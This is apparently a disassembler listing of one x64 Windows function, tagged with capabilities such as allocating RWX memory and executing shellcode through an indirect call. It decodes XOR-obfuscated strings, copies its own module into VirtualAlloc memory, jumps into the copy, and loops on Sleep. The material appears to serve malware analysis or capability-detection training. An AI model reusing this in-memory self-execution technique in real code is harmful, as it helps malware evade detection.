Function at 0x1407ae780
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x14084f1c0]
xor rax, rsp
mov qword [rbp + 0x30], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], 0
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.1407ada20
test al, al
jne 0x1407ae823
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x1407aea2d
mov rdx, qword [rbp - 0x10]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
mov rax, rcx
cmp rdx, 0x1000
jb 0x1407aea28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1407aea28
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov eax, dword [0x14082bd84]
mov dword [rsp + 0x20], eax
movzx eax, word [0x14082bd88]
mov word [rsp + 0x24], ax
mov byte [rsp + 0x20], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x21], 0x34
xor byte [rsp + 0x22], 0x35
xor byte [rsp + 0x23], 0x36
xor al, 0x37
mov byte [rsp + 0x24], al
xor byte [rsp + 0x25], 0x38
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.1407adbd0
mov r14, rax
mov ecx, dword [0x14082bd8c]
mov dword [rsp + 0x30], ecx
movzx edx, word [0x14082bd90]
mov word [rsp + 0x34], dx
movzx ecx, byte [reloc.WS2_32.dll_gethostname]
mov byte [rsp + 0x30], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x31], 0x34
xor byte [rsp + 0x32], 0x35
xor byte [rsp + 0x33], 0x36
xor dl, 0x37
mov byte [rsp + 0x34], dl
xor byte [rsp + 0x35], 0x38
xor cl, 0x39
mov byte [rsp + 0x36], cl
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.1407adbd0
mov rdi, rax
mov ecx, dword [0x14082bd94]
mov dword [rsp + 0x28], ecx
movzx ecx, word [0x14082bd98]
mov word [rsp + 0x2c], cx
mov byte [rsp + 0x28], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x29], 0x34
xor byte [rsp + 0x2a], 0x35
xor byte [rsp + 0x2b], 0x36
xor cl, 0x37
mov byte [rsp + 0x2c], cl
xor byte [rsp + 0x2d], 0x38
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x40]
call fcn.1407adbd0
mov rsi, rax
test r14, r14
je 0x1407ae9ec
cmp r14, rdi
jae 0x1407ae9ec
cmp rdi, rax
jae 0x1407ae9ec
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
mov eax, dword [rdi + 0xc]
mov rcx, qword [rbp + 0x28]
div ecx
test edx, edx
jne 0x1407ae94c
xor edx, edx
mov eax, dword [rsi + 0xc]
div ecx
test edx, edx
jne 0x1407ae94c
mov dil, 1
jmp 0x1407ae94f
xor dil, dil
lea rcx, [rsp + 0x40]
call fcn.1407adcc0
test dil, dil
je 0x1407aea2d
mov rcx, rbx
call fcn.1407adc40
mov esi, eax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1407ae9dd
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rdx, rdi
sub rdx, rbx
lea rax, [0x1407add30]
add rdx, rax
mov rcx, rdi
call rdx
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
call fcn.1407ae520
nop word [rax + rax]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1407ae9d0
cmp rbx, 1
jne 0x1407ae9e8
call fcn.1407ad010
xor eax, eax
jmp 0x1407aea2d
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x1407aea2d
mov rdx, qword [rbp - 0x10]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
mov rax, rcx
cmp rdx, 0x1000
jb 0x1407aea28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1407aea28
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1408134f8
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.1408139e0
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret